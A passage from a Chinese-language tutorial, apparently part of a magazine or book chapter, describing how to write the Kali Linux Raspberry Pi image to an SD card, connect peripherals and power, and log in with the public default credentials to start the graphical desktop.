器连接电脑，如图 7-3-4： 

 

图  7-3-4 
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下载树莓派 debian 系统镜像文件或 kali 渗透系统的树莓派版本。 

下载地址：http://www.kali.org/downloads/，本文是 kali-linux-1.0-armel-raspberrypi.img.gz，

解压出来 kali-custom-rpi.img 系统镜像文件。 

下载 Windows 系统下安装镜像的工具 win32 disk imager，打开 win32 disk imager 它会自动检

测出你 SD 卡的盘符，然后选择镜像文件 image file，然后选择“Write”就开始安装系统了，

根据你的 SD 速度，安装过程有快有慢。请注意安装完，win 系统下看到 SD 只有 74MB 了，

这是正常现象，因为 Linux 下的分区 win 下是看不到的！可以使用分区软件查看 SD 卡，就

能看到 Linux 下的分区，其中 Ext3、ext4 区属于 linux 的文件系统，就和 win 的系统盘 C 盘

一样，Swap 区为 linux 的虚拟内存区，主要在物理内存不够用的时候，做缓存用，如图 7-3-5： 

 

图  7-3-5 

四、启动系统 

把以上安装了树莓派 KALI 系统的 SD 卡插入树莓派的卡槽中。USB 接口的键盘鼠标一套，将

USB 接口的键盘和鼠标接上树莓派。HDMI 线接上接显示器，或者用 HDMI 转 VGA、HDMI

转 DVI 的线，主要看你的显示器接口。另外也可以使用电视机作为显示器，我这里是使用公

司的触摸屏来当显示器，如图 7-3-6： 

 

图  7-3-6 
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接上 USB 供电电源线， 5V/700mA 以上的 USB 接口电源，推荐用 1.5A 以上的。树莓派没有

开关按钮，打开电源后 SD 卡中的 KALI 系统就启动了。如果键盘按键没有反应，说明兼容问

题，请换键盘试试。有时可能出现 USB 接口电源不足的问题，没法给你的键盘鼠标供电，

请换一个键盘或者配合用带电源的 HUB 一起使用，如图 7-3-7： 

 
图  7-3-7 

正常会停在用户和密码登陆界面，如果是原版的 Debian 树莓派系统，请输入用户名：pi，

密码：raspberry 。KALI 版树莓派系统的用户名是：root，密码是：toor。Debian 和 KALI 都

一样输入“startx”启动图形界面，到此为止你的树莓派就正常启动完成了，然后干嘛？想

干嘛就干嘛呗，如图 7-3-8： 

 

图  7-3-8 

（全文完）责任编辑：鲨影_sharow 
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